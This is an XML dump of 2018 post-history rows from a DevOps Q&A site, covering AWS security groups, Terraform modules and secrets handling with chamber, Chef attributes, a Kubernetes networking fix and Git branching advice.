  <row Id="14506" PostHistoryTypeId="2" PostId="4623" RevisionGUID="584012d8-931a-4861-a64d-0af6a5553ed0" CreationDate="2018-07-26T23:06:17.550" UserId="4883" Text="I have created a security group in AWS. I have added the ingress rule using the below command&#xD;&#xA;&#xD;&#xA;    aws ec2 authorize-security-group-ingress --group-id sg-07xxxx4d --ip-protocol tcp --from-port 22 --to-port 22 --cidr-ip 0.0.0.0/0&#xD;&#xA;&#xD;&#xA;But instead of IP, if i want to give the source as another existing security group, how can i do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14507" PostHistoryTypeId="1" PostId="4623" RevisionGUID="584012d8-931a-4861-a64d-0af6a5553ed0" CreationDate="2018-07-26T23:06:17.550" UserId="4883" Text="AWS Security Group Creation Using AWS CLI" ContentLicense="CC BY-SA 4.0" />
  <row Id="14508" PostHistoryTypeId="3" PostId="4623" RevisionGUID="584012d8-931a-4861-a64d-0af6a5553ed0" CreationDate="2018-07-26T23:06:17.550" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14509" PostHistoryTypeId="2" PostId="4624" RevisionGUID="777e9675-071c-4ea8-bd59-dc4ec0b92c42" CreationDate="2018-07-26T23:15:18.290" UserId="4883" Text="Ok I got the answer after exploring few things and looking at the error more attentively. Here is the way:&#xD;&#xA;&#xD;&#xA;    aws ec2 authorize-security-group-ingress --group-id sg-07xxxx24d  --protocol tcp --port 22 --source-group sg-d7dyyyy5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14510" PostHistoryTypeId="2" PostId="4625" RevisionGUID="f566fad9-a967-47f9-a3d8-412f537e4976" CreationDate="2018-07-27T03:17:15.333" UserId="8995" Text="Another option is to use the [`terraform-null-label`](https://github.com/cloudposse/terraform-null-label) module. It supports passing a variable called `tags` as a standard Terraform map. The module then emits an output called `tags_as_list_of_maps` which contains the tags in the format you want. But an even better reason to use this module is to generate a consistent set of resource names that follow a fixed convention. &#xD;&#xA;&#xD;&#xA;For example, you can do this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    module &quot;example&quot; {&#xD;&#xA;      source     = &quot;git::https://github.com/cloudposse/terraform-null-label.git?ref=master&quot;&#xD;&#xA;      namespace  = &quot;eg&quot;&#xD;&#xA;      stage      = &quot;prod&quot;&#xD;&#xA;      name       = &quot;bastion&quot;&#xD;&#xA;      tags       = { &#xD;&#xA;                     &quot;BusinessUnit&quot; = &quot;XYZ&quot; &#xD;&#xA;                     &quot;Snapshot&quot; = &quot;true&quot;&#xD;&#xA;                   }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So from your example, we can then write something like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;instance&quot; {&#xD;&#xA;      ...&#xD;&#xA;      name = &quot;${module.example.id}&quot;&#xD;&#xA;      ...&#xD;&#xA;      tags = &quot;${module.example.tags_as_list_of_maps}&quot;&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**NOTE:** I added the `name` field to show how to generate co&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14511" PostHistoryTypeId="2" PostId="4626" RevisionGUID="05170506-5f96-48f9-a9bd-e99ed23c5983" CreationDate="2018-07-27T03:37:11.107" UserId="8995" Text="[Terraform modules](https://docs.cloudposse.com/terraform-modules/overview/) are a way to encapsulate reusable business logic in order to be [DRY](https://docs.cloudposse.com/glossary/dry/). For example, you might use a module to define a [jenkins](https://github.com/cloudposse/terraform-aws-jenkins) setup, then invoke that module every time you want a jenkins server. In other words, you can instantiate modules as many times as you need them to achieve the same outcome. &#xD;&#xA;&#xD;&#xA;On the other hand, Terraform workspaces are a way to isolate terraform state between environments. For example, you don't want to mingle state between a production and staging environments. &#xD;&#xA;&#xD;&#xA;In practice, we *highly* recommend writing modules for *everything*. This is why we have over [100+ modules](https://github.com/cloudposse?q=terraform-).  Writing modules is like writing &quot;functions&quot; in other languages. Generally, it's considered a bad practice to stick all logic in a single function or scope; modules help us avoid that. &#xD;&#xA;&#xD;&#xA;Workspaces are nice in principle, but in practice we recommend to share *nothing* between production and staging environments, including terraform state. Workspaces violate this principle. Thus we architect things so that production state remains in the production account and staging state in the staging account. We accomplish this with our [`terraform-aws-tfstate-backend`](https://github.com/cloudposse/terraform-aws-tfstate-backend) module." ContentLicense="CC BY-SA 4.0" />
  <row Id="14512" PostHistoryTypeId="2" PostId="4627" RevisionGUID="5464c3ca-78d7-46f8-b12d-8c8633ba4f42" CreationDate="2018-07-27T04:30:30.983" UserId="8995" Text="The best way to achieve what you're trying to do is using the [`tls_public_key`](https://www.terraform.io/docs/providers/tls/d/public_key.html) data provider built-in to terraform. Using the `external` provider should be considered an option of last resort because it introduces dependencies on the local OS which may not be portable. It's like an escape hatch. &#xD;&#xA;&#xD;&#xA;You can use it like this:&#xD;&#xA;&#xD;&#xA;    data &quot;tls_public_key&quot; &quot;example&quot; {&#xD;&#xA;      private_key_pem = &quot;${file(&quot;~/.ssh/id_rsa&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then to get the public key suitable for openssh, you can access&#xD;&#xA;&#xD;&#xA;    &quot;${data.tls_public_key.example.public_key_openssh}&quot; &#xD;&#xA;&#xD;&#xA;Lastly, if you are open to generating a new SSH key pair, you can use the [`terraform-tls-ssh-key-pair`](https://github.com/cloudposse/terraform-tls-ssh-key-pair) module which will write the keys to a new file and exposes a `public_key` output with the openssh public key.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14513" PostHistoryTypeId="2" PostId="4628" RevisionGUID="fa119281-fcc3-4a63-8781-893f7da417d8" CreationDate="2018-07-27T05:03:52.553" UserId="8995" Text="If you're on AWS, then have a look at [&quot;The Right Way to Manage Secrets&quot;](https://aws.amazon.com/blogs/mt/the-right-way-to-store-secrets-using-parameter-store/) by [Segment.io](https://segment.io) on the AWS Blog. We advocate using [`chamber`](https://github.com/segmentio/chamber) to all of our customers for managing secrets. It works by leveraging the AWS Systems Manager Parameter Store (SSM) together with KMS keys. This ensures secrets are encrypted at rest (and in transit), secured with IAM, auditable with CloudTrails, and only exposed as environment variables at run-time. &#xD;&#xA;&#xD;&#xA;After [configuring chamber](https://docs.cloudposse.com/secrets-management/aws-kms-ssm/) and setting up the KMS key, we write the secrets to the parameter store. &#xD;&#xA;&#xD;&#xA;    chamber write db TF_VAR_DB_USER foobar&#xD;&#xA;    chamber write db TF_VAR_DB_PASS secret&#xD;&#xA;&#xD;&#xA;Then use those secrets when you call terraform.&#xD;&#xA;&#xD;&#xA;    chamber exec db -- terraform plan&#xD;&#xA;&#xD;&#xA;This assumes you've defined a variable called `DB_USER` and `DB_PASS` in your HCL code. &#xD;&#xA;&#xD;&#xA;For example, you could add this to `variables.tf`&#xD;&#xA;&#xD;&#xA;    variable &quot;DB_USER&quot; { }&#xD;&#xA;    variable &quot;DB_PASS&quot; { }&#xD;&#xA;&#xD;&#xA;**NOTE:** `chamber` will always export environment variables in uppercase&#xD;&#xA;&#xD;&#xA;We provide a terraform module called [`terraform-aws-kms-key`](https://github.com/cloudposse/terraform-aws-kms-key) to make provisioning the KMS key easy. Check out our detailed documentation with examples of how to use [`chamber`](https://docs.cloudposse.com/tools/chamber/) with multiple namespaces as well as [how to use chamber with terraform](https://docs.cloudposse.com/secrets-management/aws-kms-ssm/) to manage secrets. See our [complete reference example](https://github.com/cloudposse/terraform-root-modules/tree/master/aws/chamber) for provisioning chamber dependencies. &#xD;&#xA;&#xD;&#xA;As for `.tfstate`, you bring up a really good point about the existence of plain-text secrets in the state file. There's really no way around this. In order for terraform to calculate changes to build a plan, it needs to know the &quot;before&quot; and &quot;after&quot; state. For this reason, we recommend using an encrypted S3 bucket with mandatory versioning. Use the [`terraform-aws-tfstate-backend`](https://github.com/cloudposse/terraform-aws-tfstate-backend) module to provision a bucket and DynamoDB locking table according to best practices. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14514" PostHistoryTypeId="5" PostId="4627" RevisionGUID="398f80c7-f5fb-4c33-a7b4-963e95b4e9dc" CreationDate="2018-07-27T05:06:31.547" UserId="8995" Comment="Clarify what the user is attempting to do." Text="The best way to achieve what you're trying to do (generate an openssh public key from an `id_rsa` private key) is using the [`tls_public_key`](https://www.terraform.io/docs/providers/tls/d/public_key.html) data provider built-in to terraform. Using the `external` provider should be considered an option of last resort because it introduces dependencies on the local OS which may not be portable. It's like an escape hatch. &#xD;&#xA;&#xD;&#xA;You can use it like this:&#xD;&#xA;&#xD;&#xA;    data &quot;tls_public_key&quot; &quot;example&quot; {&#xD;&#xA;      private_key_pem = &quot;${file(&quot;~/.ssh/id_rsa&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then to get the public key suitable for openssh, you can access&#xD;&#xA;&#xD;&#xA;    &quot;${data.tls_public_key.example.public_key_openssh}&quot; &#xD;&#xA;&#xD;&#xA;Lastly, if you are open to generating a new SSH key pair, you can use the [`terraform-tls-ssh-key-pair`](https://github.com/cloudposse/terraform-tls-ssh-key-pair) module which will write the keys to a new file and exposes a `public_key` output with the openssh public key.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14515" PostHistoryTypeId="50" PostId="4161" RevisionGUID="be2144a9-2e69-4de0-8f15-ab232997c780" CreationDate="2018-07-27T09:00:52.113" UserId="-1" />
  <row Id="14516" PostHistoryTypeId="2" PostId="4629" RevisionGUID="c7148a2a-b9bf-4fa4-9117-accb6ef2199a" CreationDate="2018-07-27T09:14:51.917" UserId="8332" Text="I'm fairly new to Chef and have been writing recipes for Kiosks that we use at work.&#xD;&#xA;&#xD;&#xA;I've created a role for the Kiosk that contains a set of attributes, however one of these attributes is a unique ID that is different for each Kiosk node.&#xD;&#xA;&#xD;&#xA;What's best practice for setting this value? I'm using Chef Server and was thinking the best place to do it would be at Bootstrap but not entirely sure how. &#xD;&#xA;&#xD;&#xA;Thanks in Advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="14517" PostHistoryTypeId="1" PostId="4629" RevisionGUID="c7148a2a-b9bf-4fa4-9117-accb6ef2199a" CreationDate="2018-07-27T09:14:51.917" UserId="8332" Text="Chef - Setting Unique Node Attributes" ContentLicense="CC BY-SA 4.0" />
  <row Id="14518" PostHistoryTypeId="3" PostId="4629" RevisionGUID="c7148a2a-b9bf-4fa4-9117-accb6ef2199a" CreationDate="2018-07-27T09:14:51.917" UserId="8332" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14519" PostHistoryTypeId="50" PostId="4234" RevisionGUID="379c27c2-75f5-41e4-a886-05a266a9ca30" CreationDate="2018-07-27T10:01:13.263" UserId="-1" />
  <row Id="14520" PostHistoryTypeId="50" PostId="4379" RevisionGUID="c51267a5-1f94-4413-a0ed-bb59e8008892" CreationDate="2018-07-27T14:00:32.397" UserId="-1" />
  <row Id="14524" PostHistoryTypeId="5" PostId="4629" RevisionGUID="1107677d-2578-47a8-b708-e547f6f19cc6" CreationDate="2018-07-27T15:39:02.407" UserId="8332" Comment="added 107 characters in body" Text="I'm fairly new to Chef and have been writing recipes for Kiosks that we use at work.&#xD;&#xA;&#xD;&#xA;I've created a role for the Kiosk that contains a set of attributes, however one of these attributes is a unique ID that is different for each Kiosk node.&#xD;&#xA;&#xD;&#xA;This ID is provided by a client who uses the Kiosk, is abritrary, and can't be generated automatically.&#xD;&#xA;&#xD;&#xA;What's best practice for setting this value? I'm using Chef Server and was thinking the best place to do it would be at Bootstrap but not entirely sure how. &#xD;&#xA;&#xD;&#xA;Thanks in Advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="14525" PostHistoryTypeId="50" PostId="4393" RevisionGUID="7eeeacce-aab1-40ae-80af-41724eb389df" CreationDate="2018-07-27T17:00:36.543" UserId="-1" />
  <row Id="14527" PostHistoryTypeId="5" PostId="4626" RevisionGUID="03d33e6e-40d8-463c-b57e-08bae1fc0033" CreationDate="2018-07-27T20:48:13.023" UserId="8995" Comment="Explain what “we” refers to in this answer." Text="[Terraform modules](https://docs.cloudposse.com/terraform-modules/overview/) are a way to encapsulate reusable business logic in order to be [DRY](https://docs.cloudposse.com/glossary/dry/). For example, you might use a module to define a [jenkins](https://github.com/cloudposse/terraform-aws-jenkins) setup, then invoke that module every time you want a jenkins server. In other words, you can instantiate modules as many times as you need them to achieve the same outcome. &#xD;&#xA;&#xD;&#xA;On the other hand, Terraform workspaces are a way to isolate terraform state between environments. For example, you don't want to mingle state between a production and staging environments. &#xD;&#xA;&#xD;&#xA;In practice, we *highly* recommend writing modules for *everything*. This is why we have over [100+ modules](https://github.com/cloudposse?q=terraform-).  Writing modules is like writing &quot;functions&quot; in other languages. Generally, it's considered a bad practice to stick all logic in a single function or scope; modules help us avoid that. &#xD;&#xA;&#xD;&#xA;Workspaces are nice in principle, but in practice we recommend to share *nothing* between production and staging environments, including terraform state. Workspaces violate this principle. Thus we architect things so that production state remains in the production account and staging state in the staging account. We accomplish this with our [`terraform-aws-tfstate-backend`](https://github.com/cloudposse/terraform-aws-tfstate-backend) module.&#xD;&#xA;&#xD;&#xA;———&#xD;&#xA;&#xD;&#xA;For the record, “we” refers to [Cloud Posse](https://cloudposse.com), a DevOps professional services company. I am the founder. The views expressed are our own and may not represent the views of the community at large. :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="14531" PostHistoryTypeId="5" PostId="1664" RevisionGUID="e868f2f3-aff3-448e-9e54-ad57727ee6cb" CreationDate="2018-07-28T06:43:26.920" UserId="519" Comment="mentioned that wait_for is only for TCP ports" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific TCP port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers are accessible from current host&#xD;&#xA;      wait_for:&#xD;&#xA;        host: mywebserver.com&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your inventory of 400+ hosts - Ansible will check in parallel that all hosts can reach `mywebserver.com` on those ports.&#xD;&#xA;&#xD;&#xA;- the parallelism is subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Open ports are reported as `ok` items in output and closed ports are reported as `failed` (you must use `-vv` flag on `ansible-playbook` to see this output).&#xD;&#xA;&#xD;&#xA;### Fine-tuning output&#xD;&#xA;&#xD;&#xA;If you want more specific output for the success and failure cases, the code must be more complex, adding a second task:&#xD;&#xA;&#xD;&#xA;- `wait_for` task must `register` a variable&#xD;&#xA;-  the second task produces output using `debug` based on success/failure condition (e.g. using Jinja2 [conditional expression](https://stackoverflow.com/a/14215034/992887))&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14532" PostHistoryTypeId="50" PostId="4350" RevisionGUID="a6c246b3-e1ab-4f19-8350-78fca48a6bbf" CreationDate="2018-07-28T13:00:49.833" UserId="-1" />
  <row Id="14533" PostHistoryTypeId="50" PostId="3419" RevisionGUID="6724f813-bc4a-476f-93d0-08698661c2f3" CreationDate="2018-07-28T16:01:05.883" UserId="-1" />
  <row Id="14534" PostHistoryTypeId="50" PostId="4190" RevisionGUID="ae0b7a7b-bc9a-4327-a4de-53247be95691" CreationDate="2018-07-28T17:00:43.197" UserId="-1" />
  <row Id="14535" PostHistoryTypeId="50" PostId="3488" RevisionGUID="23ec8971-e224-4335-9258-87a173238614" CreationDate="2018-07-28T18:02:10.343" UserId="-1" />
  <row Id="14536" PostHistoryTypeId="50" PostId="3953" RevisionGUID="934958c0-0c06-473f-9c00-68c08c8c9cc6" CreationDate="2018-07-28T20:00:32.630" UserId="-1" />
  <row Id="14537" PostHistoryTypeId="2" PostId="4631" RevisionGUID="d23e5e57-eb8f-4e30-9c6a-f80bce4ec126" CreationDate="2018-07-29T08:26:19.187" UserId="5686" Text="few days ago, i am facing a strange issue which is &quot;a pod can not reach another pod running in the same minion/host through servide ClusterIP whereas they can reach each other skipping going through service clusterIP&quot;&#xD;&#xA;&#xD;&#xA;i am running kubernetes 1.9.6 on top of openstack (ubuntu 16.04 hosts) with:&#xD;&#xA;&#xD;&#xA;- cni 0.7.0&#xD;&#xA;- cri-containerd 1.0.0-beta&#xD;&#xA;- flannel 0.9.1&#xD;&#xA;- etcd 3.0.13&#xD;&#xA;&#xD;&#xA;the other scenarios were working fine. even between pods running in different hosts, they can reach each other through service clusterIP.&#xD;&#xA;&#xD;&#xA;what is going on here !!! any support will be more than welcome" ContentLicense="CC BY-SA 4.0" />
  <row Id="14538" PostHistoryTypeId="1" PostId="4631" RevisionGUID="d23e5e57-eb8f-4e30-9c6a-f80bce4ec126" CreationDate="2018-07-29T08:26:19.187" UserId="5686" Text="pod to pod can not be reached through service clusterIP running in the same minion" ContentLicense="CC BY-SA 4.0" />
  <row Id="14539" PostHistoryTypeId="3" PostId="4631" RevisionGUID="d23e5e57-eb8f-4e30-9c6a-f80bce4ec126" CreationDate="2018-07-29T08:26:19.187" UserId="5686" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14540" PostHistoryTypeId="50" PostId="3709" RevisionGUID="2a7ae72d-a5a1-43c2-bb6e-8fda99591969" CreationDate="2018-07-29T13:00:31.307" UserId="-1" />
  <row Id="14541" PostHistoryTypeId="50" PostId="4189" RevisionGUID="eed6ff06-5a91-4e90-bb1c-e5ed729b74d8" CreationDate="2018-07-29T15:00:29.853" UserId="-1" />
  <row Id="14542" PostHistoryTypeId="50" PostId="1622" RevisionGUID="9a5826e7-4899-4fa5-8c0f-5a1e3d7344da" CreationDate="2018-07-29T16:01:11.323" UserId="-1" />
  <row Id="14543" PostHistoryTypeId="2" PostId="4632" RevisionGUID="752531c7-0e9f-4798-b36e-449acb16c3da" CreationDate="2018-07-29T16:28:09.623" UserId="5686" Text="The response from the called service is not DNAT'ed back to set src to the service clusterIP. So the response packet is going directly via cni0 bridge and not getting into iptables, preserving pod's IP.&#xD;&#xA;&#xD;&#xA;to fix this i added the following option to kube-proxy and issue was gone.&#xD;&#xA;&#xD;&#xA;--masquerade-all=true" ContentLicense="CC BY-SA 4.0" />
  <row Id="14544" PostHistoryTypeId="50" PostId="4411" RevisionGUID="0e24ceb2-60ad-48fc-9fda-9fa1dc97f8c2" CreationDate="2018-07-29T17:02:02.817" UserId="-1" />
  <row Id="14545" PostHistoryTypeId="50" PostId="3177" RevisionGUID="69c438cc-2b76-4b22-ba72-e23678aa64e3" CreationDate="2018-07-29T19:01:07.640" UserId="-1" />
  <row Id="14546" PostHistoryTypeId="50" PostId="2536" RevisionGUID="6719c296-2629-471a-a0f7-eec8687c6309" CreationDate="2018-07-29T21:00:14.670" UserId="-1" />
  <row Id="14547" PostHistoryTypeId="2" PostId="4633" RevisionGUID="fb55507d-0e85-48b0-bdb8-4a454fd08522" CreationDate="2018-07-30T04:17:56.360" UserId="9016" Text="Database team is implementing code changes, using Visual Studio SSDT database projects with Git source control. Everyone is pushing to main Release branch (only 5 developers on the team). All the database coworkers are only allowed pushing to different files only (tables, sprocs, functions), etc. The way work is assigned, none of us push or work the same sql file. Eventually all good changes from Release are merged into Master branch.&#xD;&#xA;&#xD;&#xA;(a) What are the negative consequences of utilizing this strategy in Git?&#xD;&#xA;&#xD;&#xA;(b) For cleaner history, should everyone Rebase ReleasePublic Remote into ReleaseLocal, or conducting Pull? (Fetch/Merge), I would think Rebase is answer for cleaner history.&#xD;&#xA;&#xD;&#xA;Note: I agree, it would be annoying only if we are working on the same file and pushing changes. Alternative Strategy to create different feature branches and then merge into main branch. https://gist.github.com/blackfalcon/8428401" ContentLicense="CC BY-SA 4.0" />
  <row Id="14548" PostHistoryTypeId="1" PostId="4633" RevisionGUID="fb55507d-0e85-48b0-bdb8-4a454fd08522" CreationDate="2018-07-30T04:17:56.360" UserId="9016" Text="Git - Everyone Pushing to Same Branch in Different Files" ContentLicense="CC BY-SA 4.0" />
  <row Id="14549" PostHistoryTypeId="3" PostId="4633" RevisionGUID="fb55507d-0e85-48b0-bdb8-4a454fd08522" CreationDate="2018-07-30T04:17:56.360" UserId="9016" Text="&lt;git&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14550" PostHistoryTypeId="2" PostId="4634" RevisionGUID="6970d7bc-435a-4e3b-83d8-45f0b98b6ebc" CreationDate="2018-07-30T05:07:37.387" UserId="6" Text="This is not a &quot;strategy&quot;. This is a sure way toward chaos.&#xD;&#xA;&#xD;&#xA;The idea behind &quot;trunk branch&quot;, which means having one branch for integration, does not mean that everyone should be pushing their changes to this branch directly. It only means that his branch is the place where integration happens.&#xD;&#xA;&#xD;&#xA;Why do you even need two branches, `Release` and `Master`? What benefit does this bring? Probably just the benefit of confusing git history into an incomprehensible mess so that no one knows what is happening.&#xD;&#xA;&#xD;&#xA;Stop this madness!&#xD;&#xA;&#xD;&#xA;* Make each change on its own pull-request branch (call it feature branches if you like).&#xD;&#xA;* Make sure that these pull-requests are not merged into the main integration branch before the code there goes through some minimal code-review.&#xD;&#xA;* Restrict from pushing directly to your integration branch.&#xD;&#xA;* For cleaner history, make sure that the pull-request branch if first rebased on top of integration.&#xD;&#xA;* Make sure that merges of pull-requests are not fast-forwarded and clearly visible in history.&#xD;&#xA;&#xD;&#xA;The above will allow for several benefits,&#xD;&#xA;&#xD;&#xA;* Higher quality and less &quot;human error&quot; mistakes.&#xD;&#xA;* Learning and teaching each other cool dba tricks (during code reviews).&#xD;&#xA;* Keeping the integration branch **green** most of the time (it works!).&#xD;&#xA;* High trust that you are not shooting yourself in the leg using your process.&#xD;&#xA;* Way less &quot;oops, I overwrote your change&quot; kind of merges.&#xD;&#xA;* High trust that new team members are not going to mess things up.&#xD;&#xA;* Git history that is a thing of beauty and a joy forever.&#xD;&#xA;&#xD;&#xA;And more ...&#xD;&#xA;&#xD;&#xA;Prettier explanation of the &quot;Feature Branch Workflow&quot; is available on the Atlassian Git website here https://www.atlassian.com/git/tutorials/comparing-workflows/feature-branch-workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="14551" PostHistoryTypeId="5" PostId="4633" RevisionGUID="81e06b72-892b-4b76-a453-ef362192fb99" CreationDate="2018-07-30T05:22:25.207" UserId="9016" Comment="added 39 characters in body" Text="Database team is implementing code changes, using Visual Studio SSDT database projects with Git source control. Everyone is pushing to main Release branch with code review (only 5 developers on the team). All the database coworkers are only allowed pushing to different files only (tables, sprocs, functions), etc. The way work is assigned, none of us push or work the same sql file. Eventually all good changes from Release (currently in Work) are merged into Master branch (Production Ready).&#xD;&#xA;&#xD;&#xA;(a) What are the negative consequences of utilizing this strategy in Git?&#xD;&#xA;&#xD;&#xA;(b) For cleaner history, should everyone Rebase ReleasePublic Remote into ReleaseLocal, or conducting Pull? (Fetch/Merge), I would think Rebase is answer for cleaner history.&#xD;&#xA;&#xD;&#xA;Note: I agree, it would be annoying only if we are working on the same file and pushing changes. Alternative Strategy to create different feature branches and then merge into main branch. https://gist.github.com/blackfalcon/8428401" ContentLicense="CC BY-SA 4.0" />
  <row Id="14552" PostHistoryTypeId="5" PostId="4633" RevisionGUID="09641a76-b82c-4582-8a6b-4b25264044e8" CreationDate="2018-07-30T05:33:31.297" UserId="9016" Comment="added 122 characters in body" Text="Database team is implementing code changes, using Visual Studio SSDT database projects with Git source control. Everyone is pushing to main Release branch with code review (only 5 developers on the team). All the database coworkers are only allowed pushing to different files only (tables, sprocs, functions), etc. The way work is assigned, none of us push or work the same sql file. Eventually all good changes from Release (currently in Work) are merged into Master branch (Production Ready).&#xD;&#xA;&#xD;&#xA;Code Review ---&gt; Push to Release Branch (Currently in work during Sprint) ---&gt; Merge to Master Production Ready Branch&#xD;&#xA;&#xD;&#xA;(a) What are the negative consequences of utilizing this strategy in Git?&#xD;&#xA;&#xD;&#xA;(b) For cleaner history, should everyone Rebase ReleasePublic Remote into ReleaseLocal, or conducting Pull? (Fetch/Merge), I would think Rebase is answer for cleaner history.&#xD;&#xA;&#xD;&#xA;Note: I agree, it would be annoying only if we are working on the same file and pushing changes. Alternative Strategy to create different feature branches and then merge into main branch. https://gist.github.com/blackfalcon/8428401" ContentLicense="CC BY-SA 4.0" />
  <row Id="14553" PostHistoryTypeId="5" PostId="4633" RevisionGUID="a6d8448f-686f-45ae-965b-44c3d4351945" CreationDate="2018-07-30T05:47:55.970" UserId="9016" Comment="added 209 characters in body" Text="Database team is implementing code changes, using Visual Studio SSDT database projects with Git source control. Everyone is pushing to main Release branch with code review (only 5 developers on the team). All the database coworkers are only allowed pushing to different files only (tables, sprocs, functions), etc. The way work is assigned, none of us push or work the same sql file. Eventually all good changes from Release (currently in Work) are merged into Master branch (Production Ready).&#xD;&#xA;&#xD;&#xA;Code Review ---&gt; Push to Release Branch (Currently in work during Sprint) ---&gt; Merge to Master Production Ready Branch&#xD;&#xA;&#xD;&#xA;(a) What are the negative consequences of utilizing this strategy in Git?&#xD;&#xA;&#xD;&#xA;(b) For cleaner history, should everyone Rebase ReleasePublic Remote into ReleaseLocal, or conducting Pull? (Fetch/Merge), I would think Rebase is answer for cleaner history.&#xD;&#xA;&#xD;&#xA;Note: I agree, it would be annoying only if we are working on the same file and pushing changes. Alternative Strategy to create different feature branches and then merge into main branch. We are refraining from this strategy since each developer has 10 dba admin related changes a day, creating many branches and merges is time consuming and cumbersome-&#xD;&#xA;&#xD;&#xA;https://www.atlassian.com/git/tutorials/comparing-workflows/feature-branch-workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="14554" PostHistoryTypeId="5" PostId="4629" RevisionGUID="c53e2fbf-0466-4db8-8358-c089b45ea2fe" CreationDate="2018-07-30T09:00:14.017" UserId="8332" Comment="added 4 characters in body" Text="I'm fairly new to Chef and have been writing recipes for Kiosks that we use at work.&#xD;&#xA;&#xD;&#xA;I've created a role for the Kiosk that contains a set of attributes, however one of these attributes is a unique ID that is different for each Kiosk node.&#xD;&#xA;&#xD;&#xA;This ID is provided by our customer who uses the Kiosk, is abritrary, and can't be generated automatically.&#xD;&#xA;&#xD;&#xA;What's best practice for setting this value? I'm using Chef Server and was thinking the best place to do it would be at Bootstrap but not entirely sure how. &#xD;&#xA;&#xD;&#xA;Thanks in Advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="14558" PostHistoryTypeId="50" PostId="4028" RevisionGUID="56d7d558-cbcb-4d0e-a351-62135a06d3af" CreationDate="2018-07-30T12:01:26.743" UserId="-1" />
  <row Id="14559" PostHistoryTypeId="2" PostId="4636" RevisionGUID="20f9a1e9-1c8c-4495-ac15-727d9dc1bbbf" CreationDate="2018-07-30T12:16:42.627" UserId="8375" Text="Given a Route 53 DNS record aliasing a (classic) load balancer, and the potential for the load balancer ip to change:&#xD;&#xA;&#xD;&#xA;Is it possible for the DNS record to guarantee that the provided ips are valid for the record's lifetime? If so, is there a specific TTL value I need to set?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14560" PostHistoryTypeId="1" PostId="4636" RevisionGUID="20f9a1e9-1c8c-4495-ac15-727d9dc1bbbf" CreationDate="2018-07-30T12:16:42.627" UserId="8375" Text="Are Route 53 DNS records aliasing ELBs guaranteed for their lifetime?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14561" PostHistoryTypeId="3" PostId="4636" RevisionGUID="20f9a1e9-1c8c-4495-ac15-727d9dc1bbbf" CreationDate="2018-07-30T12:16:42.627" UserId="8375" Text="&lt;amazon-web-services&gt;&lt;dns&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14565" PostHistoryTypeId="2" PostId="4638" RevisionGUID="1d0fe927-96b8-4364-b9b2-d146d16f98cd" CreationDate="2018-07-30T16:45:53.387" UserId="3062" Text="I'm setting up Build Automation for a MS-SQL project.  One of the requirements is to initialize the database with data.  I have them as SQL scripts.  I'm trying to figure out what the best way to inizialize a database after it is deployed using VSTS build and release automation." ContentLicense="CC BY-SA 4.0" />
  <row Id="14566" PostHistoryTypeId="1" PostId="4638" RevisionGUID="1d0fe927-96b8-4364-b9b2-d146d16f98cd" CreationDate="2018-07-30T16:45:53.387" UserId="3062" Text="Initialize database with data" ContentLicense="CC BY-SA 4.0" />
  <row Id="14567" PostHistoryTypeId="3" PostId="4638" RevisionGUID="1d0fe927-96b8-4364-b9b2-d146d16f98cd" CreationDate="2018-07-30T16:45:53.387" UserId="3062" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
